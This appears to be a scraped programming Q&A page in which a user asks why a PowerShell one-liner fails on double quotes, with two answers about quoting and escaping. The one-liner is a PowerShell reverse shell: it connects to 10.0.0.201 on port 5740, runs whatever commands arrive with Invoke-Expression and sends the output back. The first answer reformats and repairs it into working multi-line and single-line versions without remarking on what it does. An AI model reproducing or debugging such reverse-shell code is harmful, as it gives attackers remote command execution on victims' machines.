Home > Software engineering >  Powershell not accepting normal quotation marks
Powershell not accepting normal quotation marks

Time:12-13

I've been pulling my hair out all day because of this issue.

I'm working on a powershell one-liner and Powershell is being picky with what quotation mark I use. “ vs ", with powershell requiring the former. It seems very few apps actually recognize the first one, so I don't know if it will come through properly for you guys. [Here][1] is a pastebin of it in case Reddit formats it.

Ultimately, the big issue I'm having is that the powershell command won't work if I use the normal quotation marks. Below is the command, followed by the error that is occuring. If I use the weird quotation mark (instead of all of the normal double quotation marks) the command will work fine. It requires this weird quotation mark. Does anyone know what is happening here? Theoretically they should both work, but they definately do not. My use case prevents me from being able to type the weird quotation mark.

powershell 'Set-Variable -Value (New-Object System.Net.Sockets.TCPClient("[10.0.0.201](https://10.0.0.201)",5740)) -    Name client;Set-Variable -Value ($client.GetStream()) -Name stream;\[byte\[\]\]$bytes = 0..65535|%{0};while((Set-Variable -Value ($[stream.Read](https://stream.Read)($bytes, 0, $bytes.Length)) -Name i) -ne 0){;Set-Variable -Value ((New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)) -Name data;Set-Variable -Value (iex $data 2>&1 | Out-String ) -Name sendback;Set-Variable -Value ($sendback   "PS "   (pwd).Path   "> ") -Name sendback2;Set-Variable -Name sendbyte -Value ((\[text.encoding\]::ASCII).GetBytes($sendback2));$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'

The error:

At line:1 char:468

\  ...  Out-String ) -Name sendback;Set-Variable -Value ($sendback   PS    ( ...

\                                                                   \~

You must provide a value expression following the ' ' operator.

At line:1 char:469

\  ... t-String ) -Name sendback;Set-Variable -Value ($sendback   PS    (pwd ...

\                                                                 \~\~

Unexpected token 'PS' in expression or statement.

At line:1 char:468

\  ...  Out-String ) -Name sendback;Set-Variable -Value ($sendback   PS    ( ...

\                                                                   \~

Missing closing ')' in expression.

At line:1 char:489

\  ... endback;Set-Variable -Value ($sendback   PS    (pwd).Path   > ) -Name ...

\                                                                   \~

Missing file specification after redirection operator.

At line:1 char:262

\  ... lue ($[stream.Read](https://stream.Read)($bytes, 0, $bytes.Length)) -Name i) -ne 0){;Set-Var ...

\                                                                  \~

Missing closing '}' in statement block or type definition.

At line:1 char:490

\  ... dback;Set-Variable -Value ($sendback   PS    (pwd).Path   > ) -Name s ...

\                                                                  \~

Unexpected token ')' in expression or statement.

At line:1 char:650

\  ... ;$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client ...

\                                                                  \~

Unexpected token '}' in expression or statement.

\  CategoryInfo          : ParserError: (:) \[\], ParentContainsErrorRecordException

\  FullyQualifiedErrorId : ExpectedValueExpression


  [1]: https://pastebin.com/sRcgiHfJ

CodePudding user response:

As per my comment. Open up any PowerShell Editor to look at your code to see where you are going wrong, as the editors will highlight issues, well before you make a run attempt.

This is what you really have:

Set-Variable -Value (New-Object System.Net.Sockets.TCPClient("[10.0.0.201](https://10.0.0.201)", 5740)) -Name client

Set-Variable -Value ($client.GetStream()) -Name stream\[byte\[\]\]$bytes = 0..65535 | 
ForEach-Object{0}

while((Set-Variable -Value ($[stream.Read](https://stream.Read)($bytes, 0, $bytes.Length)) -Name i) -ne 0)
{
    Set-Variable -Value ((New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)) -Name data

    Set-Variable -Value (Invoke-Expression $data 2>&1 | Out-String ) -Name sendback

    Set-Variable -Value ($sendback   "PS "   (Get-Location).Path   "> ") -Name sendback2

    Set-Variable -Name sendbyte -Value ((\[text.encoding\]::ASCII).GetBytes($sendback2))

    $stream.Write($sendbyte, 0, $sendbyte.Length)

    $stream.Flush()
}
$client.Close()

I took out the aliases because aliases as a rule shown not to be used in production scripts. See the docs on the topic. Aliases are fine for throw-away code and quick CLI stuff.

Unless you are expanding variables or other specific formatting needs, then use the single quote for simple strings. Especially if you are putting this sort of stuff on one line, to avoid unnecessary quoting gymnastics.

So, refactoring a bit should allow this to work.

Set-Variable -Value (New-Object System.Net.Sockets.TCPClient('[10.0.0.201](https://10.0.0.201)', 5740)) -Name client

Set-Variable -Value ($client.GetStream()) -Name stream\[byte\[\]\]$bytes = 0..65535 | 
ForEach-Object{0}

while((Set-Variable -Value ($[stream.Read](https://stream.Read)($bytes, 0, $bytes.Length)) -Name i) -ne 0)
{
    Set-Variable -Value ((New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)) -Name data

    Set-Variable -Value (Invoke-Expression $data 2>&1 | Out-String ) -Name sendback

    Set-Variable -Value (("$sendback PS $((Get-Location).Path) > ")) -Name sendback2

    Set-Variable -Name sendbyte -Value ((\[text.encoding\]::ASCII).GetBytes($sendback2))

    $stream.Write($sendbyte, 0, $sendbyte.Length)

    $stream.Flush()
}
$client.Close()

Putting this all on one line and running this via cmd.exe calling powershell.exe could look like this.

powershell -Command {Set-Variable -Value (New-Object System.Net.Sockets.TCPClient('[10.0.0.201](https://10.0.0.201)', 5740)) -Name client;Set-Variable -Value ($client.GetStream()) -Name stream\[byte\[\]\]$bytes = 0..65535 | ForEach-Object{0};while((Set-Variable -Value ($[stream.Read](https://stream.Read)($bytes, 0, $bytes.Length)) -Name i) -ne 0){Set-Variable -Value ((New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)) -Name data;Set-Variable -Value (Invoke-Expression $data 2>&1 | Out-String ) -Name sendback;Set-Variable -Value (("$sendback PS $((Get-Location).Path) > ")) -Name sendback2;Set-Variable -Name sendbyte -Value ((\[text.encoding\]::ASCII).GetBytes($sendback2));$stream.Write($sendbyte, 0, $sendbyte.Length);$stream.Flush();};$client.Close()}

Yet, only you can test this as none of us here would have the same environment as you of course.

PowerShell[.exe] [-PSConsoleFile <file> | -Version <version>]
    [-NoLogo] [-NoExit] [-Sta] [-Mta] [-NoProfile] [-NonInteractive]
    [-InputFormat {Text | XML}] [-OutputFormat {Text | XML}]
    [-WindowStyle <style>] [-EncodedCommand <Base64EncodedCommand>]
    [-ConfigurationName <string>]
    [-File <filePath> <args>] [-ExecutionPolicy <ExecutionPolicy>]
    [-Command { - | <script-block> [-args <arg-array>]
                  | <string> [<CommandParameters>] } ]

PowerShell[.exe] -Help | -? | /?

...

EXAMPLES
    PowerShell -PSConsoleFile SqlSnapIn.Psc1
    PowerShell -version 2.0 -NoLogo -InputFormat text -OutputFormat XML
    PowerShell -ConfigurationName AdminRoles
    PowerShell -Command {Get-EventLog -LogName security}
    PowerShell -Command "& {Get-EventLog -LogName security}"

    # To use the -EncodedCommand parameter:
    $command = 'dir "c:\program files" '
    $bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
    $encodedCommand = [Convert]::ToBase64String($bytes)
    powershell.exe -encodedCommand $encodedCommand

CodePudding user response:

The keys to making your call to powershell.exe, the Windows PowerShell CLI, work as intended from cmd.exe / outside PowerShell[1] are:

  • Do not use overall '...' quoting (single quoting), because PowerShell will interpret the entire argument as a verbatim string rather than as a command.

    • It's best to use overall "..." quoting (see below).
  • Do not use \ as the escape character - except to escape " characters (see below).

    • Not only does \ not function as a general-purpose escape character (neither in PowerShell nor in cmd.exe), [ and ] do not require escaping, so that, for instance, \[byte\[\]\] should just be [byte[]].
    • PowerShell's escape character is `, the so-called backtick, and cmd.exe's escape character - in unquoted arguments only - is ^.
  • " characters that you want to be part of the PowerShell command to execute must be escaped as \"

    • Escaping " characters is a requirement whether or not you're using overall "..." quoting, but without the latter it is only \" that works - see this answer, which also explains why this escaping is necessary.

    • With overall "..." quoting, which is generally preferable, because cmd.exe then (mostly) does not interpret the content, \" works too, but there are still edge cases where misinterpretation by cmd.exe can occur, in which case an alternative form of "-escaping is the solution: This alternative form is edition-specific, unfortunately: "^""..."^"" (sic) in Windows PowerShell, ""..."" in PowerShell (Core) 7 - see this answer.

  • When calling from cmd.exe / a batch file, avoid use of %, unless you're trying to reference an environment variable cmd.exe-style, e.g. %OS%:

    • From batch files, % chars. you want to pass through to PowerShell, must be escaped as %%
    • In an interactive cmd.exe session, % cannot be escaped at all, and %% would be passed as is.
    • Therefore, to avoid commands from breaking situationally - depending on whether they're called from a batch file or from an interactive session - avoid %, if possible; here you can use foreach as an alternative to use of % as an alias of the ForEach-Object cmdlet (of course, you can use the full cmdlet name too).

Here's a simplified command that implements all the tips above:

:: From cmd.exe / a batch file
:: Note the overall "..." quoting, use of \" for embedded double quotes
:: and use of foreach instead of %
powershell "Write-Output \"hello, world\" 2>&1 | foreach { \"[$_]\" }"

You should be able to fix your command accordingly (which, as currently shown in the question, has additional problems, unrelated to quoting and escaping).


[1] From inside PowerShell, there's rarely a need to call the PowerShell CLI; if needed, the best way to do so is by passing the commands as a script block ({ ... }) - see this answer.

  • Related